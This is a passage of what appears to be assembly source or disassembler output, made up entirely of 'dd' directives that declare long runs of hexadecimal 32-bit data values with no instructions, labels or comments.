		dd 9B7BBFDBh, 6BADA004h, 5C802C9Fh, 3BC6992Dh, 9A862526h
		dd 0C0381E42h, 95A99D26h, 6BFF2A00h, 4555B5h, 1AA190CBh
		dd 220C7C6Ch, 0A233ED00h, 0AE19626h, 0C430F779h, 2B890120h
		dd 0C253F3EBh, 0E5B5C0D8h, 9834BD00h, 0F6291C8Eh, 74FE00B9h
		dd 9F5E4CD5h, 3B036C2Eh, 991A18E5h, 0B3E68894h,	4710308h
		dd 0F95ADDDh, 80C5A5E8h, 2004CBAh, 0C6B3F452h, 35390D9h
		dd 63C48AD6h, 6406AB1Fh, 8F5FB01h, 94BF1790h, 1F7DB080h
		dd 5CF43F0Eh, 85E98110h, 5081B840h, 7CD1454Bh, 0AB93F40Eh
		dd 0F00F3Ah, 3DCF36A7h,	14B81A7Ah, 18378894h, 0F3179C0Ch
		dd 63188960h, 77583AD7h, 0DE6919AFh, 0E0FDA88Bh, 450ABAD8h
		dd 3C3D7283h, 84794958h, 94887102h, 80FAF797h, 3829E960h
		dd 0A22000C2h, 4623FE1Ah, 0F2019533h, 35BA8C71h, 3EE49408h
		dd 0B47320h, 6D881F30h,	21DE9223h, 0A42D0100h, 0D64FF47Ch
		dd 5EC31F9Bh, 0B86580E1h, 0C8A84BDCh, 7026C014h, 0A9A700D4h
		dd 501BC940h, 0E20E916h, 368300DCh, 0CA1F7D22h,	0CD003965h
		dd 1AFD413h, 2994B50h, 7553EF10h, 0EC899E8Ch, 0AB54EA00h
		dd 1E7B0F17h, 60B86B00h, 2ED1FA0Eh, 0A5F10F1Fh,	7300534Dh
		dd 0C7DE41F8h, 0DBC2F500h, 3A8CBFD4h, 0AEE05013h, 2DD70203h
		dd 0FCC1CDCh, 0D1E48880h, 0A0AB9166h, 0A042EC5h, 0CC8F11E9h
		dd 0F44FA000h, 14AC7A3Ch, 0E8069012h, 8F567800h, 0A465E9BFh
		dd 0F79DB8A0h, 0EE29EB64h, 11535221h, 712BB71h,	8891BA10h
		dd 6D897296h, 0BC212843h, 814D64Ah, 19904DF6h, 4CE3C184h
		dd 55A7922h, 521D0918h,	969D005Bh, 55EA8D81h, 0D4EF9300h
		dd 2E19D50Fh, 280E00CFh, 598FF152h, 409AA10h, 6CEE9Dh
		dd 8B23A152h, 0E80E00FBh, 0E5B4FFF6h, 44001CC2h, 264D1353h
		dd 61FCF5h, 0FE74FD36h,	0D8786E99h, 28101200h, 8446DF85h
		dd 212700DAh, 429CD987h, 0A5007841h, 0A83AB4Ah,	49A96094h
		dd 161DD4F8h
		dd 626B8F18h, 73ACC80h,	0E200F910h, 7344C970h, 6CE754h
		dd 0ED6477A3h, 651127EAh, 0FE632800h, 7D08043Eh, 39EE1192h
		dd 0D26B0E29h, 0FF7380E3h, 0FDFCF8Ah, 0B604658Fh, 3EA0F48Fh
		dd 171229F9h, 37F2D000h, 7E10FDFBh, 59FC0941h, 81F80A9Fh
		dd 0D48FF500h, 0EDCCA487h, 935806A7h, 283863CAh, 3644861Fh
		dd 94B7DA81h, 0F0F3AB3Fh, 372270Eh, 0BF123CAEh,	15802E5Ah
		dd 0FB00CE1Eh, 145152C6h, 5D86E6h, 0A7B78224h, 41FE5F76h
		dd 6FFD2F17h, 5460F101h, 92C4E66Ah, 0BE7D66h, 0E2BF1E97h
		dd 0A916D445h, 0E3CD2400h, 89E79630h, 0CB1A0017h, 0C40EC51h
		dd 0D300B484h, 0BB55D0CCh, 5F532A9h, 8DAB1028h,	0C0901C0Eh
		dd 0C63920D4h, 7B00D160h, 6611AD7Ah, 7233F738h,	708800BDh
		dd 2124F1CAh, 5B00DD36h, 0EF48E446h, 2C08BBFCh,	0A5A16E3h
		dd 9DC87B8h, 1407FACBh,	536FE0AEh, 0F400742Fh, 0E2756333h
		dd 0C685FFh, 0CBE3027Ah, 0CAA75C9Ah, 9B527100h,	0CC8D974Fh
		dd 0E1BB00DEh, 83EF8C5Ah, 0B01FA838h, 0E243939Ch, 0C85B04C9h
		dd 52F68Dh, 292A83D1h, 6B46D7EBh, 0AF005EB0h, 0F6697D06h
		dd 0B04BC21Dh, 2F240EE6h, 61E0CD1Ah, 3196AECh, 0B6654D1Eh
		dd 64C5FD42h, 0F6D58BD7h, 0FBA403FBh, 0E0E4C34Ah, 0B8006228h
		dd 0C733D95Ah, 3F41E684h, 9B008CC1h, 0A4F0B4ECh, 7D006A4Bh
		dd 501169E2h, 3C3E642h,	356FF32Ch, 0F7808391h, 9A00BE7Ch
		dd 0EDFDC2ACh, 0F8B32h,	3F179018h, 0C11AC79Dh, 3061DD38h
		dd 494C3C31h, 347A2CCCh, 74320089h, 142B6DD2h, 0AD9D1500h
		dd 99BECA90h, 5CF026Ah,	894C78E2h, 34B42461h, 8400DC5Ch
		dd 4366492Fh, 3DA0880Ah, 0DE80CA87h, 224A83B2h,	0B603412Ch
		dd 924FE5F1h, 100DC85Dh, 0C7E1008Ah, 0B8B5C2D1h, 0F00FB0Ah
		dd 0D94054FAh, 5A3B7Fh,	566442B6h, 91EB5031h, 0D68BF41Dh
		dd 65E3BC40h, 2DA9033h,	0C884C04Dh, 577F25h, 0CB0B5338h
		dd 2F1B0012h, 0E5C2D2Ah, 0A8718731h, 0C1A3070Fh, 98AA60B2h
		dd 16642Fh, 9B5B8A86h, 0CD78C4A1h, 1D403800h, 25504C22h
		dd 75E000AAh, 9E159577h, 2077276Ch, 0FA66FC00h,	0FD993850h
		dd 31F70E2Bh, 836388E9h, 0BE06106h, 0A2008523h,	3A2EB474h
		dd 17D6AFA3h, 7894F5Fh,	0B05A44F9h, 0A7F486B3h,	7E5BFA01h
		dd 231F6F11h, 0E7495E8h, 0D03E9A6Ch, 0A651D4E0h, 0B3007B47h
		dd 69F120DFh, 7185ED70h, 324E007Ah, 0E112F6BFh,	0FA79907Eh
		dd 175BE91Fh, 0ED37D940h, 3C7091B4h, 3C00A2ADh,	0B2E19A16h
		dd 72289FA5h, 0C81C18EBh, 0A04055DCh, 561BAB26h, 6ED00010h
		dd 5B383B9Ah, 0F500ED43h, 0C05047BDh, 1D1DA2Ah,	1E59B842h
		dd 0D490A809h, 0E40030EAh, 7C402B9Fh, 24BA1732h, 24275Fh
		dd 0DFF6DC7Bh, 6F00DD9Ah, 0D988BB4Bh, 7F5A077h,	8B700BA7h
		dd 0ABC8C06Eh, 4100587Ah, 8291713Bh, 6821FDh, 184CCC8Ch
		dd 89349C7Eh, 0DE00DD79h, 0F8019192h, 7D17959Bh, 0B1E209ACh
		dd 40876D86h, 0D20870E4h, 0B33FD0D9h, 0DD116063h, 0FD37A76h
		dd 0AE6616BAh, 0AF78BCA0h, 136EC874h, 2DF321C0h, 22C012D0h
		dd 0F4A30E93h, 6763E334h, 44D0ED29h, 8F0C48EBh,	10E2C512h
		dd 0FA9E0926h, 0E1808A9Ch, 9607BE63h, 62127E00h, 16ABDCD0h
		dd 35440325h, 0B557D3D9h, 58154DA0h, 88BAA600h,	914B72C8h
		dd 0C24A0F94h, 0C3811D24h, 0E8A2C774h, 9970C87Bh, 0D3959F00h
		dd 0A7025D03h, 35B753Ch, 5466B517h, 0B800D96Dh,	0B2DA057Eh
		dd 73637h, 52A4EA4Bh, 0E675A808h, 4E63DE09h, 3CCA8023h
		dd 9042C81Eh, 66F2882h,	0F99500B2h, 3FEEE7C5h, 0C003A4Eh
		dd 0D2FF3944h, 2418380Dh, 947B46h, 0B92CD633h, 80A06956h
		dd 289070CEh, 0CCAD48h,	0FBB509FEh, 6D6B9Fh, 9E13C2D8h
		dd 0B10CA640h, 0D7001EE6h, 77281993h, 0E60E94E4h, 32490080h
		dd 0FDEB540Bh, 38003CB7h, 98F0DEB6h, 1D9350F5h,	40FBC713h
		dd 9DAB678Bh, 0F700ED56h, 274887F4h, 0F87502C3h, 0E77507h
		dd 0EBDAB9CAh, 2B218D11h, 0D61A7803h, 91D84AF8h, 7320BEB5h
		dd 4F2900F2h, 8188D7ECh, 0A775F96Ah, 53FA6000h,	6DC1B3E5h
		dd 16C7529h, 0A88012E6h, 0C1EB8BF5h, 3014F1B4h,	0FD00D1EAh
		dd 0DC1B2878h, 0E07CB7E2h, 43EE1CD3h, 6756807Bh, 21F8B82Eh
		dd 65FE2200h, 1A979AE0h, 923F0369h, 0FB3B9583h,	0A375E6D0h
		dd 0FAE31E01h, 38559E90h, 50968CF4h, 0FCCAEC2Dh, 83FE1CC6h
		dd 46770EDAh, 4373EA0h,	0F90082B8h, 0B3EF027Fh,	0C2683Ch
		dd 2F17268Fh, 5A581A33h, 91DF6103h, 0C893B98Bh,	2059D04Eh
		dd 0A400E1ADh, 2641A5EDh, 1BC0456h, 3874D676h, 0E4317D8Fh
		dd 0DD0079A9h, 0CE4A4359h, 71149332h, 0D663B8Dh, 0A5F7BE07h
		dd 0FF91E230h, 0DBC9F0E0h, 0C81D18ECh, 0F2C24897h, 0C03FAE3Dh
		dd 1FFD299Ah, 40E813BBh, 0D8365272h, 11662C0h, 1701DE30h
		dd 0FD8F10ADh, 10614D8h, 4A61657Bh, 0D020A256h,	7E00531Ch
		dd 0EFB0AB6Bh, 341C39Ah, 0FFFBCC2Eh, 93808494h,	68187F43h
		dd 9C182FDBh, 65C5016Eh, 79AED35Ch, 9F3F6047h, 94C4281Ch
		dd 83490780h, 4893DDh, 0D2D9AB22h, 9113F0C8h, 96FF7403h
		dd 0E052D1CEh, 0CE915h,	3BF2C2FCh, 0FEC92CB1h, 0CB652E00h
		dd 0C50F413Ch, 94A53A05h, 0F7250280h, 771B57C7h, 32B97E0Ah
		dd 0AE00E4D4h, 6602EA69h, 0DB1E0029h, 9554575Bh, 3600241Ah
		dd 70FFD26Eh, 8C90E7h, 3B32DBEEh, 66F67F2Bh, 0A8A44600h
		dd 6FFE77BCh, 9F4004E1h, 1FE68635h, 60C1E948h, 387ADC47h
		dd 0EB9818FEh, 8DB56400h, 0CCC15A5h, 4F837h, 0BC79FF4Bh
		dd 7E8C073Eh, 0FBF63Dh,	156EE885h, 7FF50DBAh, 917549h
		dd 45877CACh, 9E8BBC81h, 0DD13B501h, 0A75D84E7h, 9A7B91DFh
		dd 0B8D979C8h, 0D8505016h, 74DF01DCh, 0F3FEEF04h, 0DACEC05Eh
		dd 0DE2E6400h, 0EB156914h, 0CFFA036Fh, 7BC678EDh, 45A4C0A4h
		dd 2F009DA1h, 0B8CB037Ch, 0F46EF6h, 7E39E971h, 0DEBBE889h
		dd 0C2010A7Bh, 25F98B3h, 2420B449h, 23393F36h, 5C68CE80h
		dd 0D56F485Dh, 0D71C7104h, 60803709h, 19B2519h,	9AB9B1F5h
		dd 0F0E98F18h, 11032C8Bh, 0C7733A89h, 2E80A716h, 0EE86AEh
		dd 0DACA9836h, 443D02C0h, 57756600h, 78980A2h, 0FD3000B8h
		dd 13A7437Ah, 0D500DEAFh, 0ED031041h, 3C1F49Fh,	7FFB2689h
		dd 12982417h, 0E000353Bh, 0F99A66A7h, 21C6B4h, 468E5CB2h
		dd 3B87035Fh, 0D575071Eh, 0E883B940h, 3127DCh, 0BD35625Ah
		dd 42CB88C6h, 0F0CEF71Ch, 2300A35Eh, 3CC4B76Ch,	4430005Dh
		dd 55034728h, 0B3A22148h, 678DB780h, 0C40AA632h, 0CCEC4C86h
		dd 10429609h, 0B825121Ch, 5F270364h, 23EC1805h,	991A49E8h
		dd 70E44A03h, 9772C306h, 4012C6h, 9182DE67h, 27882EDCh
		dd 3326DD03h, 0B8B16041h, 2E13ACA9h, 8068E562h,	2246B63h
		dd 0E0389F55h, 80DC3AC8h, 7592765Eh, 2FA8143h, 0A7F30742h
		dd 9CC001D3h, 7F001B74h, 0A1AD69F5h, 2C9E1186h,	0B40E38h
		dd 0DF7D49AEh, 33FA730Fh, 78190C1Fh, 408BF6CEh,	0B8BDDE84h
		dd 0E0A500AEh, 0F2495FA8h, 0ED000964h, 3625796Dh, 7C2CB9DFh
		dd 0EC9A0019h, 17501CAEh, 0CD74D485h, 22C4334Ch, 480E2552h
		dd 0BE066000h, 3400BBB6h, 0F178751Dh, 0B2CE6Ch,	70C6935Eh
		dd 92BA87AFh, 0CACB1B00h, 0A664957h, 979F000Bh,	60DECE5Dh
		dd 0A60E95E9h, 650DD188h, 2440A089h, 32F2AF42h,	1B5EE0Ch
		dd 0D29F1A31h, 406F9B2Eh
		dd 0A9758FFAh, 855B073Ch, 0FAE5A029h, 0BC4A8800h, 3BC03D17h
		dd 0A600FB59h, 0FE7E9431h, 0CA03D7C4h, 0EAF4C5E5h, 14519091h
		dd 0BDE700F5h, 0F6D1C92Dh, 2E17B093h, 220017A1h, 74AE2135h
		dd 0FEED00E4h, 115FFAEFh, 12003B0Eh, 0D0484B50h, 0BF8AE6C4h
		dd 4EECA058h, 0BD595E00h, 6B67AA57h, 32483E15h,	0C509CE8Fh
		dd 80D28085h, 687CC260h, 38C42600h, 0AC4AFE5Ah,	906CAE51h
		dd 0E8E11E3Bh, 0B7C340C7h, 0F5F29D50h, 878C9A01h, 4A09B00Fh
		dd 5C3C308Eh, 0C0F9ABC7h, 5977FBCBh, 6DF24F00h,	7D176996h
		dd 0A71A03E1h, 5D9CEFA9h, 0CEF663FFh, 9E8045D0h, 0EA51200h
		dd 7A1B6E83h, 898D0244h, 0D703DD3Eh, 0FA0760D5h, 8EE0B7BFh
		dd 161E8197h, 0B145C08Bh, 90008934h, 0CD0AD2F3h, 0C3F400F5h
		dd 0F2265CEFh, 0B609C50Eh, 0E238583h, 719582ACh, 0D885C3C6h
		dd 6384421Ch, 21D55847h, 3CC1B088h, 0A2483B74h,	445860BFh
		dd 0D8C615h, 9867A755h,	46104AA3h, 8B00DB7Bh, 0DEA006FAh
		dd 0B870AE33h, 0DC4D03B8h, 0D523B024h, 88264490h, 0A4013200h
		dd 456B8F69h, 37500406h, 0C09F9309h, 8FA28B8h, 0A9399D00h
		dd 502352C3h, 0A60B005Dh, 7503B5C9h, 30901A5Ah,	0EE267F6h
		dd 4E32A000h, 91066A28h, 999B01F6h, 95C36D29h, 315DC8A1h
		dd 4C00E7E8h, 0BC1267D7h, 0F84608A4h, 3C163CA6h, 0B46B3800h
		dd 3E3631F1h, 901F33E4h, 0D380D7FAh, 26A2A74Fh,	71E31F0Ah
		dd 23FBCEA3h, 85DCE640h, 1C00B802h, 13CCD4ECh, 54A3ACh
		dd 4AD6493Ah, 128BDF5h,	0BC7CF00h, 4E804D1Dh, 0E0F848FDh
		dd 0A0B2EE00h, 0DE7DA641h, 949A1600h, 5159D522h, 36EB80Fh
		dd 0D3273321h, 73F8A4CCh, 2A01E9FAh, 6A062636h,	924175EBh
		dd 0C9C1B5AFh, 908449DCh, 0AB6838E0h, 64F17B07h, 339B7227h
		dd 95C7DCC0h, 0C4294E28h, 0CF1ED500h, 3D8716A3h, 0D853003Bh
		dd 0C4BC9B4Dh, 0D405DD77h, 3715B655h, 0F09ADCC0h, 0C9123EB5h
		dd 77840980h, 0EEFBB789h, 0A43EBE2Eh, 0F2C86B07h, 0CB8B150h
		dd 0B980611h, 219E52F8h, 7FD8C000h, 0FE62FD4Dh,	0B3BD1CC3h
		dd 0BA9BDEA2h, 0EC2DF000h, 14317CE2h, 2A10CCFDh, 417D4300h
		dd 0E9B4D48Eh, 1D3203DFh, 0CBF91546h, 2100B086h, 0DB672EEh
		dd 0D31238h, 1B07A837h,	8D5FBD96h, 85A56F3Bh, 0E456347Ch
		dd 0D05280AFh, 7B05AAD3h, 0E0C6FB38h, 907F8800h, 0EEA8F7BEh
		dd 4D040098h, 0B82051D1h, 0AC00EDAFh, 0C43EA9B7h, 1A05312h
		dd 6D19C3A3h, 0E827033Bh, 0EC05BF05h, 5B6EB15Dh, 556CBC01h
		dd 1D8F3CBh, 37A702A3h,	573E75BEh, 6F0F54C8h, 0A40085F2h
		dd 0E8FD7495h, 0E6243028h, 72EA007Fh, 0BEAEA74Ah, 0B6014077h
		dd 6ACA878Ah, 2FD8D235h, 826309E9h, 2000A9E1h, 46E6DC22h
		dd 1A60C34Ch, 47EEB55Eh, 4B880060h, 303E1D5Fh, 62F338h
		dd 61E271CCh, 6AD7A42h,	5AD3EBEAh, 0EF0439AAh, 0F79D6C5h
		dd 5D8EFCC0h, 6EDE0009h, 0EB594422h, 94A1FC39h,	86DC5064h
		dd 0CB001A45h, 0D7B1D60Bh, 96CD2A5Ah, 9A5400CCh, 0A4BEB509h
		dd 8978AC01h, 5E85C914h, 9D20E075h, 0FA7600DCh,	4FE42B96h
		dd 80F814D0h, 0EDCB010Bh, 15D48023h, 9C087Eh, 0F036D2FBh
		dd 6C30671Eh, 0EF956900h, 0D36F0657h, 8AC600E9h, 0ACE7F879h
		dd 3000CB98h, 0CDFE671Ah, 0CE8DA1h, 0F9475631h,	0BBACB394h
		dd 1FD50907h, 0F3F083AEh, 5DF1738h, 1582A94Dh, 0C3801D9Fh
		dd 0BD92728h, 0C3888FD8h, 21346D02h, 40D31EA5h,	3958ECE8h
		dd 0DA073151h, 1080B6E0h, 1E840324h, 0D14CB130h, 8B71D2h
		dd 8638485Fh, 0EA262095h, 0E852930Eh, 0BAC5400Ch, 0A11E07h
		dd 0EC113ED9h, 3D6EB66Ah, 1A50DC03h, 1FEE1EBh, 67366D70h
		dd 604AE068h, 4D3A102Ch, 7B41059Dh, 490E6CDh, 32BF964h
		dd 5501D972h, 6E8311EBh, 0BB6CF2A0h, 0FEB880FFh, 0ADE1CAEEh
		dd 0C9B00E46h, 0D2809E50h, 18BD15B2h, 74E8D72Ch, 644E1300h
		dd 50702B20h, 7C6744C9h, 0E2923A4Ah, 0AD516E30h, 430C944h
		dd 472A20FAh, 0D6A60020h, 6B01C1C6h, 6C28C7EBh,	701840A0h
		dd 6151E027h, 794E001Ah, 74472BE5h, 70280D67h, 6D001024h
		dd 86864EDh, 1FC9964Dh,	0F14A56h, 0E8496EACh, 153E40F8h
		dd 80F239ADh, 0FAAF5CBEh, 708075Ah, 0EBE2EA5Fh,	56B7E0F3h
		dd 0DB00FFD3h, 0E871B668h, 0B9FE02h, 49AFE9D6h,	0AC5078C9h
		dd 3734F39h, 910037Dh, 2C929889h, 5A19039Dh, 0D9DBBEE1h
		dd 0BDCCDA88h, 0F485C000h, 9598DC14h, 5E7F381Ch, 0B85F2100h
		dd 87EEFC52h, 75C3AE3Ch, 0DA183600h, 0CCE9E0B7h, 934C39EAh
		dd 82780D9Fh, 2E446190h, 744D2C48h, 96BA5B00h, 49D3D271h
		dd 3669031Bh, 82CD46C4h, 37707AE8h, 0EF32E107h,	0C0B778D4h
		dd 741C989Ah, 1A994080h, 738DCCh, 9A12BA3Ch, 935ED215h
		dd 0A2B47150h, 7CFE9107h, 0B700DA54h, 32997B1h,	95EABA78h
		dd 5DF151EEh, 0FA5F307Bh, 7FE1991Eh, 67456FC2h,	9ACCA0E2h
		dd 1511C3C6h, 0EC4A36B1h, 0AC64A900h, 41703718h, 0BF712100h
		dd 0E78D569Eh, 61780092h, 0E69B6E22h, 6000360Fh, 8870373h
		dd 5445AC7Fh, 0F480E2h,	0F56B3C4Bh, 6E46AE52h, 0AD01100h
		dd 0FF0B247Eh, 0AD7600C3h, 13732179h, 0F500657Ch, 0DCAA192Dh
		dd 0FEE910h, 0ED63480Ch, 3D660E6h, 90A1EB30h, 1F55F27Ah
		dd 2CB664A5h, 0C9C200E7h, 0A014D224h, 60672801h, 4AA8C7FDh
		dd 17AFFED0h, 1D4A480h,	0AEE71A29h, 3774E0ADh, 9BDBB200h
		dd 1FC4C32Ch, 0A01703B1h, 0E2726E15h, 0A29578E8h, 92ACE400h
		dd 5C93490Bh, 74C13A11h, 0A800F138h, 65A1A7DEh,	0D5070768h
		dd 91E4DC8Ch, 0AC461A50h, 47920714h, 309D78EDh,	33356B1h
		dd 98AF3001h, 0C482C5F2h, 7160BC0h, 17D7CDB4h, 0D607B7h
		dd 0A5FDC2A4h, 0BB50AA7Eh, 4AF0380h, 3A244B40h,	5BF8D7h
		dd 0BEA6A9FBh, 0B51684C9h, 0E09CB860h, 4BD935h,	0A9E55FDBh
		dd 0A77E3D5Bh, 176828C4h, 2151514Eh, 744A08DFh,	7E844C90h
		dd 43C348ECh, 79288316h, 9C101450h, 6711341Fh, 8098115Eh
		dd 2988CA51h, 0C3A41958h, 8FBF2932h, 1114F450h,	8F2A1C94h
		dd 7CAC443Ch, 0E4E714A0h, 8033A1C8h, 0C62A7902h, 3700258Bh
		dd 610EFCA5h, 3E1DC40h,	8730FDA8h, 0D0909847h, 3E98C42Ch
		dd 0B9993D06h, 1544A93h, 0C257112Dh, 2086A70Dh,	991F6098h
		dd 90C07330h, 0B2B135B0h, 0FE1100F7h, 3B1D17BBh, 0A0004D79h
		dd 529BC7E5h, 185EE84h,	73599CF0h, 0E43E4F74h, 0BBB022C4h
		dd 23C3ED00h, 0F494B22Bh, 60BD0044h, 711AA31Eh,	4BB8E463h
		dd 346BFF00h, 0B5A95953h, 894914F6h, 32FFC06h, 3B00AED8h
		dd 1E442C4Ah, 3963C565h, 0EC00105Dh, 257F6195h,	3A0F74FEh
		dd 0AAF5E9h, 0F4B0E064h, 0C8AD005Fh, 4876C741h,	0D076D293h
		dd 0C158D560h, 39580F75h, 0FF80082Ch, 5B2ED996h, 0F80FB79Fh
		dd 4001AB8Ah, 51FA2C1Ch, 0AD600D1h, 0E5D0DFFBh,	37003959h
		dd 656D8E52h, 0C310BAh,	27864885h, 943DA068h, 3200EFF4h
		dd 0AB22CB72h, 5C2C1F9h, 53827B2Dh, 0F49C80BCh,	9900252Eh
		dd 0DB5A9BA6h, 0C8279Ch, 0C70EB892h, 83C16596h,	45D57A00h
		dd 3D97B50Dh, 0B42D0039h, 0AC512E54h, 0E000BAE5h, 0C3B9927Fh
		dd 7A6C3647h, 15D30124h, 0A0FFA6CBh, 0E74ED09Eh, 1B3F7F0Ah
		dd 82009883h, 0F4E2D38Ch, 5A140041h, 0E5E334FAh, 0C500836Fh
		dd 0DBDEB888h, 0D83D73h, 2F890561h, 6475D2F8h, 72A2782Eh
		dd 0A4A8EC1Fh, 26F32D00h
		dd 0C02A0C9Bh, 1C160E4Dh, 0E143AD3Dh, 0C1E88017h, 21001561h
		dd 0D1F64B51h, 9C25E7h,	0A9D453F2h, 4A35598Dh, 19829700h
		dd 52E0C931h, 0F5160FDFh, 0A58112CDh, 0D8982711h, 63006530h
		dd 0F8791ECh, 782FAh, 0BA51B3CEh, 3CC916E4h, 0C8186160h
		dd 7DAA3985h, 0B37CBBh,	688727A7h, 0E6A3142Bh, 81D21605h
		dd 80BECCA2h, 24AC94EFh, 14F3D58h, 7648B69Fh, 0EBE0E1EDh
		dd 9355247Ch, 0CAD4012Ch, 836CD399h, 713C9F11h,	0F15C04FFh
		dd 0D177A941h, 20971EFCh, 0C700E428h, 0A43A86AFh, 3FF98ED1h
		dd 40842D38h, 0C0970CE7h, 0ADE5E2FCh, 3AD43607h, 2BC043D0h
		dd 7F4B84CEh, 73BB0039h, 7F7B12C1h, 65008B81h, 97588C7h
		dd 0C0A98Dh, 0DE6CF022h, 98E97DA1h, 282D5700h, 0FA1D8AF9h
		dd 13C7CD8h, 0CF687434h, 0E418D1E6h, 7E0066F6h,	9CC27959h
		dd 1C9AECAEh, 9A6A7A8h,	308E93BBh, 512A280h, 3A01C11Fh
		dd 0EE88F59Ah, 0E2E852FEh, 0B7EB00A0h, 9C2DD2BFh, 44E624A1h
		dd 4E129579h, 0D1008E22h, 0B9F5A76Ch, 840E1467h, 8B00CDE6h
		dd 0D7D3E1ECh, 1612F269h, 9800553Fh, 18E057AAh,	0C09E0035h
		dd 9DCB0A76h, 546B7052h, 8F9D0720h, 60340FB2h, 1CD948h
		dd 0B53E15CEh, 955A0765h, 1F0C090Ch, 3E8B3052h,	0DA80F9B7h
		dd 8EA6EC4h, 0A800B8D8h, 0AC61FCE3h, 1EA610B1h,	40310201h
		dd 62F21A24h, 0B6F46A41h, 0F4AC3B51h, 73006BD1h, 1B4A2DC5h
		dd 729B8h, 23B3841Ch, 0D10D1A51h, 0BB01F60Eh, 0BDA8016h
		dd 0A9EC7Dh, 781C9055h,	797384FDh, 0CC2D882Ch, 918E1A00h
		dd 314765h, 0D0EFAFC6h,	48E55835h, 653C00Fh, 0B35720CCh
		dd 12A15DECh, 40398FFCh, 213D64ACh, 803AD7D5h, 1081808Eh
		dd 18EECF4Bh, 559E00C7h, 7A043A87h, 0FC0FEFCBh,	16886EFDh
		dd 0DECA400h, 3165B3h, 1130DC5Bh, 4651A4FAh, 9D00C891h
		dd 17105AF3h, 0B09862h,	419E7DECh, 0B580EB77h, 5EBF4800h
		dd 174DAA99h, 1DC87A38h, 0DF573CF1h, 7600BD34h,	0E9243327h
		dd 0CCE9BA7Fh, 0D20FB158h, 7F49CD31h, 0C116817Fh, 6BCF844Ah
		dd 465EEDCh, 22111C14h,	3EA88050h, 5C0B9C75h, 20D90B08h
		dd 0FC7C651Ch, 0C1EABEh, 4157383Ch, 931AF1DAh, 5BB2F400h
		dd 0BC91D858h, 0D98E0071h, 3D385EB6h, 631C3913h, 0EC80FEF4h
		dd 7C2F7A79h, 7EA40005h, 72476A37h, 0C7302738h,	0FC0F11E2h
		dd 785D008Eh, 71642946h, 2C015CD1h, 70A408D9h, 2B20DAD6h
		dd 255605C6h, 0C07DB6DDh, 0D3EF9C54h, 0DE743300h, 1D1492A0h
		dd 0A66B0FDCh, 0B8E0A13Ch, 670AA9Fh, 748EF00h, 8F67FF97h
		dd 263B3F13h, 6A019D80h, 0CE3566F7h, 704F410Ah,	8B138895h
		dd 91F57E03h, 37C4D0F0h, 0D74D00B0h, 310DEEBDh,	0AE0CF761h
		dd 30C85E99h, 131902C7h, 33E41B7Ah, 69A9A0C0h, 0EDAB6E00h
		dd 0FCB03893h, 0C6B50F3Bh, 40FED4CAh, 0D588E12Bh, 1D006248h
		dd 944CA969h, 7D169612h, 0FEBF00F0h, 9724F159h,	8D001178h
		dd 42AFDED9h, 0E0B5E51Eh, 0AAFC3E49h, 37B27F80h, 7C1B56F7h
		dd 80D4AC3Dh, 0E60658FFh, 0B01E40DDh, 5490CFh, 0AE3D04DFh
		dd 2ECE5A7Fh, 0DB8F0200h, 8C6EE82Ch, 0CF5003C2h, 0A8271367h
		dd 0F1032000h, 9A68F0Ah, 94CC0029h, 40182D5Dh, 0AC013770h
		dd 0ECA81FABh, 6030D244h, 0D05100F3h, 247282DBh, 191DBFBEh
		dd 0CFC3123Ah, 0E3F299h, 1EA0B790h, 577C0DFDh, 0AE07C773h
		dd 0FBAB5FB4h, 0CC4B0350h, 59953FC4h, 0F962E13h, 43E09A60h
		dd 5245AFB5h, 0CA0044B2h, 0DBAE28A9h, 1075D0h, 0C6897266h
		dd 83B0D65Fh, 0BCA49800h, 0CC7FE87Ch, 9DA20C67h, 0F8DC9CE4h
		dd 2B619404h, 5B809BACh, 3DBA81A7h, 8F033B36h, 86C82962h
		dd 0CF48E9E0h, 19490E3Bh, 0C9D09721h, 28BBF4h, 60089B83h
		dd 6A3EC0AFh, 6EA26100h, 0CFBA2253h, 0AAF8FFh, 8477CF5h
		dd 3CFBBFA1h, 5F043176h, 3509D88Ch, 0DD1E1480h,	0C66D00ECh
		dd 4886E3B9h, 7C00F465h, 0DF174CA8h, 456B9Ch, 9B352D74h
		dd 0B90712EAh, 0E643009h, 52B002E1h, 2990E01Ch,	0C51300DAh
		dd 309958D2h, 0BEFE246Fh, 0C0DC354Ch, 0F1A9962Dh, 36E82473h
		dd 0A13903C0h, 0B59B2850h, 0E480BCCAh, 63959F1Ch, 0F8B4B450h
		dd 7DD8FD00h, 90F56A7Fh, 16AA0103h, 95532CEDh, 153C30D4h
		dd 6D1D0E16h, 40F29C4Fh, 19CB9814h, 207C00D2h, 0DB257571h
		dd 600AC6Bh, 0AD93F83Bh, 18DAA4B1h, 20CCDEDFh, 4D7B555Eh
		dd 794AFA01h, 2F060B9Ch, 2C7213C4h, 0E857876h, 0D76CF7h
		dd 0A67AAD80h, 0A5014518h, 8A97CC42h, 7FE822A7h, 1D010094h
		dd 0B88BE043h, 640FCBEFh, 60A56750h, 2854D563h,	0FADE7E36h
		dd 0AF030214h, 536A40B2h, 93B07501h, 0ED8F4C28h, 707C1223h
		dd 0BC3838BEh, 0DF04001Bh, 82206D3Bh, 313F002Ch, 0D8BBCF4Eh
		dd 0C58B2F0h, 81452800h, 1B240502h, 0E18DC3E2h,	0E0DB6844h
		dd 7EB891h, 2B1F7BCBh, 42F2256Ah, 0C8937F31h, 3C20F14Ah
		dd 0E2B20A0Dh, 8D0F6Dh,	0C1892B37h, 6603C7E3h, 12D85CE0h
		dd 3CBAB851h, 30587730h, 8628B62Eh, 0D7037F04h,	0FECAAD18h
		dd 9EC3D021h, 0AA750F0Bh, 38D822D8h, 7DEA73BFh,	2B984700h
		dd 4B3B84Eh, 1E830408h,	8332CC12h, 48F82A54h, 0EA001D49h
		dd 0B964E2EEh, 45DA90h,	0DB3BB1E8h, 6E17962Fh, 0F77581Ch
		dd 94A3B5CAh, 0AB4D17h,	85387FE7h, 0F60445EBh, 592CE11Ch
		dd 40AB5481h, 0FA17AECh, 0C87290F3h, 0BCD3A0C0h, 6501CBBEh
		dd 0B9668754h, 8871E84Bh, 0AE1BF8h, 468A5388h, 9F3B7530h
		dd 85EA213Eh, 32556343h, 0C6EFC442h, 0F46F010Dh, 0C31C34B9h
		dd 0BDD41500h, 0F94A649h, 0BBE90BBEh, 0CD00F132h, 0FFBCA0FBh
		dd 41F5170Eh, 5CC920B1h, 3CBB68h, 0B2671CAFh, 0CD2D489Bh
		dd 1347EF00h, 5B6D64E0h, 8A8E0555h, 0C0D8F44Dh,	2BBB1CC7h
